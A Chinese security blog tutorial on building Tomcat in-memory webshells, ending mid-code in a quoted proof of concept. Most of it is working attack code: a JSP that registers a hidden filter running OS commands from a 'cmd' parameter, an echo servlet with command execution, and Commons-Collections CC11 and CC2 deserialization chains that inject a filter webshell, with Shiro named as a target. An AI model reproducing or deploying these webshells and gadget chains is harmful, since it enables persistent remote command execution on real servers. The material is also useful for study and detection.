Tomcat内存马基础可以看我的上一篇：https://www.0kai0.cn/?p=240

前言-fliter等内存马局限

具体新建servlet的过程：

https://blog.csdn.net/gaoqingliang521/article/details/108677301

新建一个servlet:

package org.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/servlet")
public class servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{
resp.getWriter().write("hello servlet");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
}

配置tomcat：应用程序上下文表示http访问servlet的地址，这里就是localhost:8080/servlet。

自定义的filter:

import javax.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}

修改web.xml，指定url-pattern为/demo，也就是访问

http://localhost:8080/servlet/demo时触发filter，一直刷新一直触发。

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>org.example.filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
</web-app>

分析之前在项目结构->模块->依赖里导入tomcat/lib的包。

Filter内存马代码：

// filterTrojan.jsp
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
out.println("Inject done");
%>

先访问一遍jsp文件，就能在pattern任意路径带上参数RCE。

但是无论是模拟动态注册的filter内存马，还是Listener、Servlet、valve内存马，都不是真正意义上的内存马，它们会输出在tomcat的目录下。

比如上述运行的jsp，在CTALINA_BASE环境的

work\Catalina\localhost\Servlet_web环境\org\apache\jsp都有相应的文件。

Tomcat回显

而且根据不同的封装，jsp都内置了不同的获取request和response的方法。比如filter可以用ServletRequest获取；Listener用ServletRequestEvent获取；Servlet用HttpServletRequest获取；valve管道更是直接使用request和response对象。所以不用考虑回显问题。

但是反序列化通用的是注入字节码，要进行回显就需要获取request和response对象。

ApplicationFilterChain的lastServicedRequest 和 lastServicedResponse 都是静态变量。如果不是静态变量，还需要获取到对应的对象，才能获取到变量。

在ApplicationFilterChain的static部分，static部分都是优先执行。ApplicationDispatcher.WRAP_SAME_OBJECT默认False，所以lastServicedRequest/lastServicedResponse初始化为null。

在104行，这里的ApplicationDispatcher.WRAP_SAME_OBJECT为true的话，就向ThreadLocal装入request和response。

所以反射修改ApplicationDispatcher.WRAP_SAME_OBJECT，并且初始化ThreadLocal，就能进入if判断从而从这两个ThreadLocal获取request/response。

Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
WRAP_SAME_OBJECT_FIELD.setAccessible(true);//由于private，设置为可修改
Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
f0.setAccessible(true);//获取modifiers进行去除final修饰符
f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);

如果使用了final修饰，而没有使用static修饰，可以调用setAccessible(true)获得修改权限，或者修改Modifier，去除final修饰符；如果同时使用了static和final，则只能通过修改Modifier去除final修饰符来获取修改权限；

去除final修饰符。

WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL

lastServicedRequest/lastServicedResponse也需要去除final才能进行修改。

Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);

将WRAP_SAME_OBJECT_FIELD设置为true，并传入初始ThreadLocal进行初始化

WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());

POC:

//Echo.java
package org.example;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;
@WebServlet("/echo")
@SuppressWarnings("all")
public class Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
// 利用反射修改 final 变量 ，不这么设置无法修改 final 的属性
Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
f0.setAccessible(true);
f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);
String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
} else if (cmd!=null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
Writer writer = lastServicedResponse.get().getWriter();
writer.write(output);
writer.flush();
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}

利用lastServicedRequest.get()获取request请求，将结果写入lastServicedResponse进行回显。

CC注入Tomcat

上面的测试是事先服务器就写好了POC也就是Echo类。但通常漏洞入口点是反序列化，而不能直接写文件。

根据目标服务器的CC版本，可以使用不同的反序列化链进行注入。而注入字节码一般是最通用的。

用到字节码的CC链，CC11的限制很少。

版本限制：CommonsCollections3.1-3.2.1 JDK无版本限制。

cc11（可跳过直接用POC）

利用链：

java.io.objectInputstream.readObject() ->
java.util.Hashset.readobject() ->
java.util.HashMap.put() ->
java.util.HashMap.hash() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.getvalue() ->
org.apache.commons.collections.map.LazyMap.get() ->
org.apache.commons.collections.functors.InvokerTransformer.transform() ->
java.lang.reflect.Method.invoke()
... templates gadgets ...
java.lang.Runtime.exec()

该链最后通过InvokerTransformer调用newTransformer加载恶意字节码。最开始初始化随便传入一个方法，最后通过Field#set修改transform为newTransform。这是为了避免在反序列化过程中其他地方提前触发了链。

InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);

利用javasist动态生成恶意字节码：

// 利用javasist动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错
// 写入.class 文件
// 将我的恶意类转成字节码，并且反射设置 bytecodes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);

java.util.HashMap.put() ->
java.util.HashMap.hash() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.getvalue() ->
org.apache.commons.collections.map.LazyMap.get() ->
org.apache.commons.collections.functors.InvokerTransformer.transform() ->
java.lang.reflect.Method.invoke()

都是CC6的内容。实例化TiedMapEntry并将生成的恶意字节码传入，得到tiedmap恶意类。

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);

HashMap#put如下:

如果key可控，就会调用key.hashCode()

在HashSet#readObject中，e是s的反序列化，调用了map.put

这里的s就是通过序列化ObjectOutputStream得到的。

所以构造恶意key进行反序列化。

先利用HashSet构造函数获取初始map。

HashSet hashset = new HashSet(1);
hashset.add("foo");

利用初始hashset反射获取map：

Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);

map不能用的时候用table，放入tiedmap。

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);

最后将transform的iMethodName修改为TemplatesImpl入口newtransformer。

Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");

POC:

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
@SuppressWarnings("all")
public class cc11 {
public static void main(String[] args) throws Exception {
// 利用javasist动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错
// 写入.class 文件
// 将我的恶意类转成字节码，并且反射设置 bytecodes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

反序列化注入

上文的注入点位于

org.apache.catalina.core.ApplicationFilterChain.internalDoFilter。

但是在set之前执行了doFilter，就执行完了所有的Filter，而shiro反序列化入口rememberMe的功能其实是ShiroFilter的一个模块。所以该方法不能用来打shiro。

所以为了打shiro这种需要filter的环境，就需要动态注册恶意Filter。首先创建一个继承AbstractTranslet的类TomcatEchoInject，因为要用到字节码。按照Tomcat回显的步骤，将WRAP_SAME_OBJECT设置为true，并将lastServicedRequest和lastServicedResponse初始化。

Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
//修改static final
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);
//静态变量直接填null即可
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());

在上文jsp版的内存马中，是通过request获取到的servlet上下文。

ServletContext servletContext = request.getSession().getServletContext();

这里request存入到了lastServicedRequest，所以可以直接获取servletContext。

ServletContext servletContext = servletRequest.getServletContext();

取出request后，通过addFilterMapBefore添加到filter的最前面，这里直接用天下大木头师傅的代码了。

反射获取filterConfigs，用filterConfigs来启动filter。

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);

POC：

package memoryshell.UnserShell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.*;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.Map;
public class FilterShell extends AbstractTranslet implements Filter {
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
//修改static final
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);
//静态变量直接填null即可
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}else {
ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();
//开始注入内存马
ServletContext servletContext = servletRequest.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
//1、创建恶意filter类
Filter filter = new FilterShell();
//2、创建一个FilterDef 然后设置filterDef的名字，和类名，以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("Sentiment");
filterDef.setFilterClass(filter.getClass().getName());
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);
//3、将FilterDefs 添加到FilterConfig
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put("Sentiment",filterConfig);
//4、创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("Sentiment");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);
servletResponse.getWriter().write("Inject Success !");
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("cmd") != null) {
//String[] cmds = {"/bin/sh","-c",request.getParameter("cmd")}
String[] cmds = {"cmd", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
byte[] bcache = new byte[1024];
int readSize = 0;
try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
while ((readSize = in.read(bcache)) != -1) {
outputStream.write(bcache, 0, readSize);
}
response.getWriter().println(outputStream.toString());
}
}
}
@Override
public void destroy() {
}
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}
}

利用无TransformChain的cc2打入字节码。

package memoryshell.UnserShell;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransforme
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = getBytes();
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
unserialize("1.ser");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
public static byte[] getBytes() throws IOException {
InputStream inputStream = new FileInputStream(new File("FilterShell.class"));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}

Servlet端只需要一个接收参数base64解码并反序列化的接口，没有base64解码的接口可以用curl --data-binary注入二进制数据。

package memoryshell.UnserShell;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class CCServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String exp = req.getParameter("exp");
byte[] decode = Base64.getDecoder().decode(exp);
ByteArrayInputStream bain = new ByteArrayInputStream(decode);
ObjectInputStream oin = new ObjectInputStream(bain);
try {
oin.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
resp.getWriter().write("Success");
}
}

测试：

记得文件->项目结构->工件里面将依赖库导入WEB-INF/lib。

cc11

天下大木头师傅利用cc11注入的文章http://wjlshare.com/archives/1541里，该POC实现了spring环境的reqeust获取。

POC：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
/**
* @author threedr3am
*/
public class TomcatInject extends AbstractTranslet implements Filter {
/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "KpLi0rn";
static {
try {
ServletContext servletContext = getServletContext();
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);
if (standardContext != null){
// 这样设置不会抛出报错
Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
Filter myFilter =new TomcatInject();
// 调用 doFilter 来动态添加我们的 Filter
// 这里也可以利用反射来添加我们的 Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter(filterName,myFilter);
// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
// 将服务重新修改回来，不然的话服务会无法正常进行
if (stateField != null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
// 在设置之后我们需要 调用 filterstart
if (standardContext != null){
// 设置filter之后调用 filterstart 来启动我们的 filter
Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);
/**
* 将我们的 filtermap 插入到最前面
*/
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
